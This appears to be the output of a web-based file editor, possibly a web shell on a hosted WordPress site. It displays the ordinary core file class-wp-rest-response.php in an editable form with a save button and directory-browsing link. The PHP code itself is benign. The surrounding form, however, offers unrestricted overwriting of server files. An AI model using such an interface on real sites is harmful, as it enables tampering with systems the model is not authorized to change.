<h2>File Contents: /home/planet5/public_html/wp-includes/rest-api/class-wp-rest-response.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/wp-includes/rest-api/class-wp-rest-response.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * REST API: WP_REST_Response class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Core class used to implement a REST response object.
 *
 * @since 4.4.0
 *
 * @see WP_HTTP_Response
 */
class WP_REST_Response extends WP_HTTP_Response {

	/**
	 * Links related to the response.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $links = array();

	/**
	 * The route that was to create the response.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	protected $matched_route = &#039;&#039;;

	/**
	 * The handler that was used to create the response.
	 *
	 * @since 4.4.0
	 * @var null|array
	 */
	protected $matched_handler = null;

	/**
	 * Adds a link to the response.
	 *
	 * {@internal The $rel parameter is first, as this looks nicer when sending multiple.}
	 *
	 * @since 4.4.0
	 *
	 * @link https://tools.ietf.org/html/rfc5988
	 * @link https://www.iana.org/assignments/link-relations/link-relations.xml
	 *
	 * @param string $rel        Link relation. Either an IANA registered type,
	 *                           or an absolute URL.
	 * @param string $href       Target URI for the link.
	 * @param array  $attributes Optional. Link parameters to send along with the URL. Default empty array.
	 */
	public function add_link( $rel, $href, $attributes = array() ) {
		if ( empty( $this-&gt;links[ $rel ] ) ) {
			$this-&gt;links[ $rel ] = array();
		}

		if ( isset( $attributes[&#039;href&#039;] ) ) {
			// Remove the href attribute, as it&#039;s used for the main URL.
			unset( $attributes[&#039;href&#039;] );
		}

		$this-&gt;links[ $rel ][] = array(
			&#039;href&#039;       =&gt; $href,
			&#039;attributes&#039; =&gt; $attributes,
		);
	}

	/**
	 * Removes a link from the response.
	 *
	 * @since 4.4.0
	 *
	 * @param string      $rel  Link relation. Either an IANA registered type, or an absolute URL.
	 * @param string|null $href Optional. Only remove links for the relation matching the given href.
	 *                          Default null.
	 */
	public function remove_link( $rel, $href = null ) {
		if ( ! isset( $this-&gt;links[ $rel ] ) ) {
			return;
		}

		if ( $href ) {
			$this-&gt;links[ $rel ] = wp_list_filter( $this-&gt;links[ $rel ], array( &#039;href&#039; =&gt; $href ), &#039;NOT&#039; );
		} else {
			$this-&gt;links[ $rel ] = array();
		}

		if ( ! $this-&gt;links[ $rel ] ) {
			unset( $this-&gt;links[ $rel ] );
		}
	}

	/**
	 * Adds multiple links to the response.
	 *
	 * Link data should be an associative array with link relation as the key.
	 * The value can either be an associative array of link attributes
	 * (including `href` with the URL for the response), or a list of these
	 * associative arrays.
	 *
	 * @since 4.4.0
	 *
	 * @param array $links Map of link relation to list of links.
	 */
	public function add_links( $links ) {
		foreach ( $links as $rel =&gt; $set ) {
			// If it&#039;s a single link, wrap with an array for consistent handling.
			if ( isset( $set[&#039;href&#039;] ) ) {
				$set = array( $set );
			}

			foreach ( $set as $attributes ) {
				$this-&gt;add_link( $rel, $attributes[&#039;href&#039;], $attributes );
			}
		}
	}

	/**
	 * Retrieves links for the response.
	 *
	 * @since 4.4.0
	 *
	 * @return array List of links.
	 */
	public function get_links() {
		return $this-&gt;links;
	}

	/**
	 * Sets a single link header.
	 *
	 * {@internal The $rel parameter is first, as this looks nicer when sending multiple.}
	 *
	 * @since 4.4.0
	 *
	 * @link https://tools.ietf.org/html/rfc5988
	 * @link https://www.iana.org/assignments/link-relations/link-relations.xml
	 *
	 * @param string $rel   Link relation. Either an IANA registered type, or an absolute URL.
	 * @param string $link  Target IRI for the link.
	 * @param array  $other Optional. Other parameters to send, as an associative array.
	 *                      Default empty array.
	 */
	public function link_header( $rel, $link, $other = array() ) {
		$header = &#039;&lt;&#039; . $link . &#039;&gt;; rel=&quot;&#039; . $rel . &#039;&quot;&#039;;

		foreach ( $other as $key =&gt; $value ) {
			if ( &#039;title&#039; === $key ) {
				$value = &#039;&quot;&#039; . $value . &#039;&quot;&#039;;
			}

			$header .= &#039;; &#039; . $key . &#039;=&#039; . $value;
		}
		$this-&gt;header( &#039;Link&#039;, $header, false );
	}

	/**
	 * Retrieves the route that was used.
	 *
	 * @since 4.4.0
	 *
	 * @return string The matched route.
	 */
	public function get_matched_route() {
		return $this-&gt;matched_route;
	}

	/**
	 * Sets the route (regex for path) that caused the response.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route Route name.
	 */
	public function set_matched_route( $route ) {
		$this-&gt;matched_route = $route;
	}

	/**
	 * Retrieves the handler that was used to generate the response.
	 *
	 * @since 4.4.0
	 *
	 * @return null|array The handler that was used to create the response.
	 */
	public function get_matched_handler() {
		return $this-&gt;matched_handler;
	}

	/**
	 * Sets the handler that was responsible for generating the response.
	 *
	 * @since 4.4.0
	 *
	 * @param array $handler The matched handler.
	 */
	public function set_matched_handler( $handler ) {
		$this-&gt;matched_handler = $handler;
	}

	/**
	 * Checks if the response is an error, i.e. &gt;= 400 response code.
	 *
	 * @since 4.4.0
	 *
	 * @return bool Whether the response is an error.
	 */
	public function is_error() {
		return $this-&gt;get_status() &gt;= 400;
	}

	/**
	 * Retrieves a WP_Error object from the response.
	 *
	 * @since 4.4.0
	 *
	 * @return WP_Error|null WP_Error or null on not an errored response.
	 */
	public function as_error() {
		if ( ! $this-&gt;is_error() ) {
			return null;
		}

		$error = new WP_Error();

		if ( is_array( $this-&gt;get_data() ) ) {
			$data = $this-&gt;get_data();
			$error-&gt;add( $data[&#039;code&#039;], $data[&#039;message&#039;], $data[&#039;data&#039;] );

			if ( ! empty( $data[&#039;additional_errors&#039;] ) ) {
				foreach ( $data[&#039;additional_errors&#039;] as $err ) {
					$error-&gt;add( $err[&#039;code&#039;], $err[&#039;message&#039;], $err[&#039;data&#039;] );
				}
			}
		} else {
			$error-&gt;add( $this-&gt;get_status(), &#039;&#039;, array( &#039;status&#039; =&gt; $this-&gt;get_status() ) );
		}

		return $error;
	}

	/**
	 * Retrieves the CURIEs (compact URIs) used for relations.
	 *
	 * @since 4.5.0
	 *
	 * @return array Compact URIs.
	 */
	public function get_curies() {
		$curies = array(
			array(
				&#039;name&#039;      =&gt; &#039;wp&#039;,
				&#039;href&#039;      =&gt; &#039;https://api.w.org/{rel}&#039;,
				&#039;templated&#039; =&gt; true,
			),
		);

		/**
		 * Filters extra CURIEs available on REST API responses.
		 *
		 * CURIEs allow a shortened version of URI relations. This allows a more
		 * usable form for custom relations than using the full URI. These work
		 * similarly to how XML namespaces work.
		 *
		 * Registered CURIES need to specify a name and URI template. This will
		 * automatically transform URI relations into their shortened version.
		 * The shortened relation follows the format `{name}:{rel}`. `{rel}` in
		 * the URI template will be replaced with the `{rel}` part of the
		 * shortened relation.
		 *
		 * For example, a CURIE with name `example` and URI template
		 * `http://w.org/{rel}` would transform a `http://w.org/term` relation
		 * into `example:term`.
		 *
		 * Well-behaved clients should expand and normalize these back to their
		 * full URI relation, however some naive clients may not resolve these
		 * correctly, so adding new CURIEs may break backward compatibility.
		 *
		 * @since 4.5.0
		 *
		 * @param array $additional Additional CURIEs to register with the REST API.
		 */
		$additional = apply_filters( &#039;rest_response_link_curies&#039;, array() );

		return array_merge( $curies, $additional );
	}
}
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fpublic_html%2Fwp-includes%2Frest-api'>⬅ Back to Directory</a>